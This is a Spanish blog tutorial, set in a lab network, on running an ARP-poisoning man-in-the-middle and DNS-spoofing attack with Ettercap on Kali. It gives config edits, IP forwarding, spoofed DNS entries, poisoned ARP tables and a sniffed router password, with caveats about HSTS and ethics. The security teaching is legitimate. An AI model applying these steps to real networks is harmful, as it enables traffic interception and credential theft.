Home Security MITM (DNS Spoofing) Parte II Ataque DNS Spoofing

MITM (DNS Spoofing) Parte II Ataque DNS Spoofing

by José Luis Sánchez Borque

En este post esplicaremos diferentes técnicas de MITM, como son sniffing, poisoning y dns spooffing para obtener datos valiosos de un usuario en red.

No olvidemos todo lo aprendido en el anterior Post MITM (DNS Spoofing) Parte I ENTENDER DNS queries y ARP

Para tenerlo más a mano, os vuelvo a poner aquí el esquema con todos los dispositivos implicados, clave para entender todo.

PC                       Internet Address      Physical Address
wsrv12.profe.local       192.168.50.1          00:0c:29:5a:a6:c5
gkali.profe.local        192.168.50.100        00-0c-29-d9-f8-31
pfsense.profe.local      192.168.50.254        00-0c-29-a6-aa-24

Para el ataque utilizaremos Ettercap, suite de herramientas incluidas en la distribución de Kali.

Podemos leer en su propia Web que la herramienta Ettercap es una suite completa para técnicas MITM. Cuenta con sniffing y filtrado de contenido en vivo y muchos otros trucos interesantes. Soporta métodos activos y pasivos sobre muchos protocolos de red, y muchas características para análisis de redes y de hosts.

El primer paso será configurar la herramienta adecuadamente. Procedemos en primer lugar a configurar el ARP Spoofing.  Está técnica consiste en enviar tramas ARP REPLY a un objetivo de nuestra red, con los campos adecuadamente preparados para engañarlo.

En nuestro taller, la idea es colocar a la máquina gkali en medio de las comunicaciones del Servidor Windows 2012 y del Gateway.  Para ello tendremos que “envenenar” adecuadamente las tablas ARP de ambos dispositivos para que todo el tráfico del servidor Windows destinado al Gateway y viceversa pasen por nuestra máquina gKali.

Veamos en primer lugar los valores de las tablas ARP en una situación normal, tanto en el WSRV12, como en la máquina pfsense:

C:\Users\Administrator>arp -a

Interface: 192.168.50.1 --- 0xc
  Internet Address      Physical Address      Type
  192.168.50.254        00-0c-29-a6-aa-24     dynamic
  192.168.50.100        00-0c-29-d9-f8-31     dynamic
  192.168.50.255        ff-ff-ff-ff-ff-ff     static
  224.0.0.22            01-00-5e-00-00-16     static
  224.0.0.252           01-00-5e-00-00-fc     static

[2.3.4-RELEASE][root@pfsense.profe.local]/root: arp -a
pfsense.profe.local (192.168.50.254) at 00:0c:29:a6:aa:24 on em1 permanent
? (192.168.50.1) at 00:0c:29:5a:a6:c5 on em1 expires in 1192 seconds 
? (192.168.50.100) at 00:0c:29:d9:f8:31 on em1 expires in 604 seconds
? (192.168.1.1) at a8:d3:f7:18:5c:00 on em0 expires in 1126 seconds
? (192.168.1.210) at 00:0c:29:a6:aa:1a on em0 permanent

Vemos que las MAC’s apuntan a las máquinas originales (repasar esquema!!!).

Pasemos ahora a la configuración de la aplicación Ettercap

root@gkali:~# nano /etc/ettercap/etter.conf

Cambiaremos el uid y gid para que ettercap se ejecute como root

############################################################################
#                                                                          #
#  ettercap -- etter.conf -- configuration file                            #
#                                                                          #
#  Copyright (C) ALoR & NaGA                                               #
#                                                                          #
#  This program is free software; you can redistribute it and/or modify    #
#  it under the terms of the GNU General Public License as published by    #
#  the Free Software Foundation; either version 2 of the License, or       #
#  (at your option) any later version.                                     #
#                                                                          #
############################################################################

[privs]
ec_uid = 0                # nobody is the default
ec_gid = 0                # nobody is the default

Buscamos y descomentamos las siguientes líneas dentro del mismo fichero etter.conf :

# if you use iptables:

   redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

   redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

Estas líneas permiten redirigir las tramas que llegan a la máquina atacante -gKali-  a los diferentes puertos de escucha utilizados por los plugins de Ettercap.

A continuación activaremos el enrutamientos de la máquina gkali, ya que las tramas capturadas, han de seguir su camino, para evitar ser descubiertos.

root@gkali:~# echo 1 > /proc/sys/net/ipv4/ip_forward

Configuraremos adecuadamente los parámetros del plugin dns-spoof de ettercap, para conseguir cambiar las respuestas dns reply, a una petición dns query

Mi intención es que cuando nuestra víctima quiera visitar la página de la pepsi… aparezca la de la cocacola.. Es cuestión de gustos :-).  Para ello necesitaremos saber la IP de la página www.cocacola.com, para configurar adecuadamente el plugin. Desde Windows borramos la cache, por si ya estaba en cache el registro y preguntamos por la IP:

C:\>ipconfig /flushdns

Windows IP Configuration
Successfully flushed the DNS Resolver Cache.

C:\>nslookup www.cocacola.com 8.8.8.8
Server:  google-public-dns-a.google.com
Address:  8.8.8.8
Non-authoritative answer:
Name:    a1128.g2.akamai.net
Addresses: 84.53.133.67
           84.53.133.80
Aliases:  www.cocacola.com
          globalcokesites.edgesuite.net

Vemos que hay dos IP’s que responden a dicha página. Para nuestro propósito tomaremos la primera IP 84.53.133.67

Ahora modificaremos los parámetros del plugins dns-spoof que viene con ettercap, añadiendo en alguna de las secciones los datos de la suplantación.  Os aconsejo leer todos estos ficheros de configuración.. Son un manual en si mismos, y no solo copiar y pegar los datos.

root@gkali:~# nano /etc/ettercap/etter.dns
################################
# microsoft sucks ;)
# redirect it to www.linux.org
#

microsoft.com      A   107.170.40.57
*.microsoft.com    A   107.170.40.57
www.microsoft.com  PTR 107.170.40.57      # Wildcards in PTR are not allowed

# Añadimos aquí mismo los datos de la suplantación

pepsi.com          A   84.53.133.67
*.pepsi.com        A   84.53.133.67
www.pepsi.com      PTR 84.53.133.67

Ya lo tenemos todo preparado. Arrancaremos Ettercap. Lo podemos encontrar, al menos en la versión de Kali.2017.1 bajo el conjunto de herramientas 09 – Sniffing.

Primero activaremos la captura de tramas (Unified sniffing) para que ettercap capture y analice las tramas entrantes. Tendremos que seleccionar la tarjeta por la que queremos aplicar la técnica. En nuestro caso, la única que tenemos en la máquina gKali Eth0

Luego, desde el menú Hosts, realizaremos un Scan de todos los dispositivos de red. Si la red es de clase B, el proceso puede no ser inmediato. Una vez tengamos todos los hosts tendremos que seleccionar los que nos interesen: WSRV12 y pfsense (el router)

En el Menú Hosts list podremos ver la lista de todos los Hosts encontrados.

En la pantalla seleccionaremos los dos dispositivos en cuestión. Marcaremos el servidor Windows (192.168.50.1), y pulsaremos el botón Add to Target 1. Luego la IP del Gateway lo añadiremos como Target 2, pulsado el correspondiente botón.

Y empezamos con el ataque Mitm. Bastará ir al menú correspondiente, y seleccionar la opción ARP poisoning, indicando que queremos capturar conexiones remotas (Sniff remote connections)

Veremos en la parte inferior de la pantalla que ya tenemos en marcha el envenenamiento de los dos dispositivos seleccionados.

Podemos verlos visualizando la tabla ARP del Windows y del Pfsense. (ver esquema para cotejar valores)

Vemos desde el servidor Windows que la MAC de su Gateway corresponde realmente a la máquina gKali

C:\>arp -a

Interface: 192.168.50.1 --- 0xc

  Internet Address      Physical Address      Type
  192.168.50.100        00-0c-29-d9-f8-31     dynamic
  192.168.50.254        00-0c-29-d9-f8-31     dynamic
  192.168.50.255        ff-ff-ff-ff-ff-ff     static
  224.0.0.22            01-00-5e-00-00-16     static
  224.0.0.252           01-00-5e-00-00-fc     static

Igualmente vemos en el pfsense que la MAC que apunta al servidor Windows también es la del servidor gKali.

 WAN (wan)       -> em0        -> v4/DHCP4: 192.168.1.210/24
 LAN (lan)       -> em1        -> v4: 192.168.50.254/24

[2.3.4-RELEASE][root@pfsense.profe.local]/root: arp -a

pfsense.profe.local (192.168.50.254) at 00:0c:29:a6:aa:24 on em1 permanent
? (192.168.50.1) at 00:0c:29:d9:f8:31 on em1 expires in 1199 seconds
? (192.168.50.100) at 00:0c:29:d9:f8:31 on em1 expires in 1172 seconds
? (192.168.1.1) at a8:d3:f7:18:5c:00 on em0 expires in 1151 seconds
? (192.168.1.210) at 00:0c:29:a6:aa:1a on em0 permanent

TODO EL TRAFICO ENTRE PFSENSE Y WSRV12 PASA POR LA MÁQUINA ATACANTE GKALI.

Tendremos que llevar cuidado, ya que una vez empezada la técnica… pueden pasar cosas interesantes… jeje

Por ejemplo, si me conecto al router de mi casa, desde la máquina WSRV12… hay que tener cuidado con el password…

Nos encontraremos una pequeña sorpresa en la ventana inferior de ettercap.. EL PASSWORD!!!!!! ( EN NUESTRO CASO VAYA-POLLO)

Un par de detalles… Destacar que esta técnica solo sirve para Webs con una pobre configuración de seguridad. Qué nadie se crea que a día de hoy es fácil encontrar contraseñas con métodos parecidos…. Veréis por ejemplo, que en el router de mi casa, nos está avisando que la seguridad está comprometida..  Hay que ser muy inconsciente para seguir adelante.

Luego tenemos HTTP Strict Transport Security (HSTS), que dificulta enormemente los intentos para adueñarse de contraseñas ajenas… en facebook, twitter, etc…

Decir que Internet está lleno de manuales, videos y Post donde se les “olvida” comentar pequeños detalles como los anteriores…. Donde realizan técnicas de hacking sobre XP’s sin parchear. Eso si que no me parece ético…

Pasemos a la fase final… el dns spoofing.. AL FIN!!! Ya os dije que el principal recurso de la seguridad informática es la paciencia.

En el menú Plugins, opción Manage the plugins, activaremos con doble click el plugin dns-spoof

Desde la máquina Windows podemos realizar una simple consulta DNS para ver el resultado:

C:\Users\Administrator>ping -n 1 www.pepsi.com

Pinging www.pepsi.com [84.53.133.67] with 32 bytes of data:
Reply from 84.53.133.67: bytes=32 time=31ms TTL=55

Ping statistics for 84.53.133.67:
    Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 31ms, Maximum = 31ms, Average = 31ms

C:\Users\Administrator>nslookup www.pepsi.com
Server:  google-public-dns-a.google.com
Address:  8.8.8.8
Name:    www.pepsi.com
Address:  84.53.133.67

Vemos que la respuesta es la IP de www.cocacola.com, y no de www.pepsi.com. Podemos ver en la pantalla de Ettercap los diferentes match dns_spoof hechos.

Veamos ahora gráficamente el resultado. Intentamos conectarnos a la página de www.pepsi.com

Y aparecemos en la de www.cocacola.com

Hasta pronto y espero os haya gustado y hayáis aprendido.

@sanchezborque

 

You may also like

2 comments

alberto October 16, 2018 - 6:51 pm

hola amigo gracias pero no me funciona para nada , spoofed to ( a la pagina que quiero) pero no me muestra la página quiero que salga a que se debe el error?

Reply
José Luis Sánchez Borque October 30, 2018 - 8:51 pm

Hola,

necesitaría que me dieras más información para poder ayudarte.

Espero tus comentarios.

Reply

Leave a Comment